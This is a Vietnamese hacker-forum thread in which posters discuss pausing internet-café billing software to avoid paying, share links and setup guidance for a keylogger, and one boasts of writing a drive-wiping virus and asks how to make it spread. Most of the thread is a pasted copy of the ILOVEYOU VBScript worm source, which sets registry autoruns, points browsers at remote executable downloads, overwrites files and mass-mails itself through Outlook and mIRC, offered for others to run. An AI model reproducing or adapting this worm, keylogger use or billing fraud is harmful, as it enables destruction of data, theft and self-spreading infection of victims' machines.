| |
|
|
Tuannamnguyen wrote:
Cái nay hình như có phần mềm hack thì phải mình dùng rồi nhưng cần phải pau và re đúng lúc!
Thía cái này khác gì phần mềm đâu !
Có 2 file .bat trong đó, you có thể click lần lượt 2 file đó để làm nó pause và resume ( củng quên tên 2 file đó luôn - lâu rùi kô dùng cái nỳ nữa - có vài nghìn bạc mà cãi nhau thì mất vui :wink: )
|
 |
|
|
|
Cho em hỏi làm sao để change cái icon của file remote instant ?
|
|
|
|
|
thì mình cho nó tạm ngừng 1 thời gian, khi nào thấy thằng nào trả tiền ( lúc đó thằng chủ quán sẽ ra chỗ máy chủ ) mình nhanh tay cho nó chạy file kia là đc
|
|
|
|
hoc vien 77280 wrote:
mình thấy các bạn cứ nói đaâu đâu không , sao không trả lời câu hỏi , đã là four hacker rồi , cứ nói ấp a ấp úng , một vài cái hac này không đủ làm náo loạn thiên hạ đâu ?đừng sợ bị bắt
botay.nuocman
___Hướng Dẫn Cụ thể
___Name + pass resigncode
___SMTP
tui sẽ cho bạn những thứ cần thiết nhưng đừng lợi dụng để fá hoại, trọc tức người khác nhé
Hướng dẫn cài đặt PeffecKeylogger 1.62 Bằng Hình Ảnh:
linhk down here : http://vinapass.tk
Chú ý file ảnh có khá nhiều hình ảnh ( và những ảnh trong đó rất nhỏ vì vậy bạn fải Zoom nó lên):
|
|
|
|
channhua wrote:
The file link that you requested is not valid. Please contact link publisher or use our search engine to find a file or folder:
check your link
Down tại đây : http://vinapass.tk
|
|
|
|
Đây là cách tôi học hỏi đc ở 1 diễn đàn khác !
link down :
http://www.cuasoao.tk
|
|
|
|
Zưng mà pác ơi vẫn còn thiếu nhiều thì phải
Hơn nữa tài liệu này viết hơi "tắt" đối với newbie thì fai
Pác có thể search thêm những tài liệu (PHP) tiếng việt nữa kô ?
|
|
|
|
|
cảm ơn bác rất nhiều
|
|
|
|
bác oai :
line : 31
char: 73
Error: Unterminated string constant
|
|
|
|
|
Liệu nó hoạt động kô bác, em chưa thử
|
|
|
|
|
trang này die rồi
|
|
|
|
Can_Tho_City wrote:
vuadapass wrote:
Xem ra mấy pác đây dân trí lập trình còn thấp quá , công nhận pác viết bài này cũng có hiêu đôi chút đơn giản về lập trình Virus băng VB .
Rất mong được sự chỉ giáo của bạn.
Tại sao chúng ta không thảo luận trên tinh thần xây dựng & học hỏi nhỉ?
Bài viết dành cho Newbie nghiên cứu nên mới giải thích rõ từng lệnh thế!
Chính vì nhắm vào Newbie nên mới cho một ví dụ đơn giản.
em rất đồng ý với bác
em đã thực hành khá tốt và viết thử 1 con thấy nó xoá sạch ổ D & C, nếu kô xoá đc ổ C thì C:\windows hoặc C:\windows\system 32. Cuối cùng là treo máy
Nhưng kô biết lúc khởi động lại nó có tự chạy đc kô nữa ( vì em thử ở ngoài quán net mà)
Bác có thể hướng dẫn cách làm cho nó lây lan trên mạng kô ?
|
|
|
|
cảm ơn các pác rất nhiều vì đã trả lời nhưng em vứt cái ổ CD cho máy khác rồi, chỉ còn ổ A
các bác xem em thử cách này đc kô :
tạo đĩa mềm khởi động
copy file hal.dll từ máy khác
sau đó copy file đó vào system 32 của máy mình
??????????????????????????????????????????????
|
|
|
|
Thomas_Black wrote:
Ha ha, lỗi này của bác đơn giản thôi mà, giống như trường hợp cài trước Windows XP rồi cài 2k song song (có thể là up lên từ W98) ấy. Vấn đề là ở chỗ file BOOT.INI trên thư mục gốc của ổ đĩa đầu tiên (C đã bị cấu hình sai. Bác khắc phục bằng cách: Khởi động máy bằng đĩa CD Windows XP. Tại tùy chọn R=Repair đầu tiên, nhấn phím R. Kế tiếp nhập vào số tương ứng với ổ đĩa đang cai đặt. Nhập vào mật khẩu Administrator, sau đó gõ lệnh “bootcfg /list” để hiển thị nội dung tập tin BOOT.INI. Gõ lệnh “bootcfg /rebuild” để sửa chữa lại nó. Cuối cùng lấy đĩa CD-ROM ra và gõ Exit. Vậy là xong thôi.
Chúc bác thành công, không phải cài lại Win 
em sẽ thử cách của bác, nhưng chỉ có điều :
- máy em kô cài song song win 98 hoặc DOS để có thể lựa chọn, ổ cứng chỉ có ổ C mà không chia làm nhiều ổ nhỏ
- nó đã đc cài đặt XP từ lâu và vẫn hoạt động bình thường(chứ kô phải bị lỗi lúc mới cài) cho tới khi em vào "nghịch" lung tung trong đó :
+em thấy có 1 file : autorun.bat
+ em chạy thử và kô để ý lắm đến nội dung câu lệnh trong đó, nhấn đại phím Y rồi enter xem sao(vì mỗi khi nhấn phím N nó lại bung ra thêm vài cửa sổ DOS nữa)
+ nhưng đến khi nhận ra thì đã muộn : câu lệnh đó là :
"del C:\windows\system32\*.*
C:\windows\system32\*.*(Y/N)"
+ em vào system32 thì chỉ thấy còn vài thư mục, nhưng 1 lát sau thì lại thấy nó xuất hiện các file trở lại
+ cuối cùng em khởi động lại thì nó báo như trên
Cảm ơn các bác rất nhiều vì đã giúp em
|
|
|
|
các bác ơi giúpem với:
kô hiểu em nghịch gì trong system32 ( hình như có coá file)
khi khởi động lại thì nó báo
The window could not start because one file allow missed
(window root)system32\hal.dll
please re-instant to a copy file above
có cách nào kô phải cài lại win kô ạ vì máy này kô phải của em, hơn nữa lại có nhiều giữ liệu quan trọng trong đó
|
|
|
|
Nhờ pà con sửa lỗi trong cốt đoạn này :
Lúc save vào notepad với đuôi .vbs và chạy thì nó báo:
line : 2
char : 42
Error : Expected end of statement
code : 800A0401
rem barok -loveletter(vbe) rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject" set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell" rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout" if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set
c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs" c.Copy(dirwin&"\Win32DLL.vbs" c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs" regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern el32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService s\Win32DLL",dirwin&"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory" if (downread="" then downread="c:\" end if if (fileexist(dirsystem&"\WinFAT32.exe"=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -BUGSFIX.exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe"=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU
GSFIX",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"\" end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs" or (ext="vbe" then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js" or (ext="jse" or (ext="css" or (ext="wsh" or (ext="sct" or (ext="hta" then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs" fso.DeleteFile(f1.path) elseif(ext="jpg" or (ext="jpeg" then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs" fso.DeleteFile(f1.path) elseif(ext="mp3" or (ext="mp2" then set mp3=fso.CreateTextFile(f1.path&".vbs" mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe" or (s="mlink32.exe" or (s="mirc.ini" or (s="script.ini" or (s="mirc.hlp" then set scriptini=fso.CreateTextFile(folderspec&"\script.ini" scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell" regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell" regget=regedit.RegRead(value) end function function
fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell" set out=WScript.CreateObject("Outlook.Application" set mapi=out.GetNameSpace("MAPI" for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="" then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead ) if (regad="" then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs" male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE>LOVELETTER@-@>"&vbcrlf& _ "@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _ "<?-?HEAD>onfiltered=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@ "&vbcrlf& _ "onfiltered=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ "<CENTER>This HTML file need ActiveX Control<?-?p> To Enable to read this HTML file
- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQU
EE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ ""if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrl f& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ ""on error resume next"&vbcrlf& _ "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=1"&vbcrlf& _ "code=" dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _ "aw=0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=1) then"&vbcrlf& _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^ -^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'" dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""" dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/" dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\" dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'" dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""" dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/" dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\" set fso=CreateObject("Scripting.FileSystemObject" set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set
b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM" b.close set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub
|
|
|
|
Pác "Can_Tho_City" cho em hỏi vbs có phải ngôn ngữ VBScripst kô?
hoặc nó là do ngôn ngữ gì đi nữa pác có thể cho em cái link ebook tiếng việt của ngôn ngữ này đc chứ ! (nếu kô có đành phải đọc sách vậy)
Nếu có gửi bản hoàn chỉnh cho teckcomnet@yahoo.com thì gửi em 1 bản luôn nhé email : chonglaituonglai87vn@yahoo.com
|
|
|
|
các pác uôi hướng dẫn em 1 chút đựoc kô :
em pase vào notepad rồi save với đuôi .au
Zưng mà thiếu mất đoạn mã độc nên khi chạy chẳng thấy hề hấn gì
|
|
|
|
|
|
|
|
![[Rule]](/hvaonline/templates/viet/images/icon_mini_rule.gif "[Rule]"){kind=icon}
![[Home]](/hvaonline/templates/viet/images/icon_mini_groups.gif "[Home]"){kind=icon}
![[Portal]](/hvaonline/templates/viet/images/icon_mini_portal.gif "[Portal]"){kind=icon}
![[Members]](/hvaonline/templates/viet/images/icon_mini_members.gif "[Members]"){kind=icon}
![[Statistics]](/hvaonline/templates/viet/images/icon_mini_stats.gif "[Statistics]"){kind=icon}
![[Search]](/hvaonline/templates/viet/images/icon_mini_search.gif "[Search]"){kind=icon}
![[Reading Room]](/hvaonline/templates/viet/images/icon_mini_book.gif "[Reading Room]"){kind=icon}
![[Register]](/hvaonline/templates/viet/images/icon_mini_register.gif "[Register]"){kind=icon}
Register![[Login]](/hvaonline/templates/viet/images/icon_mini_login.gif "[Login]"){kind=icon}
Login [
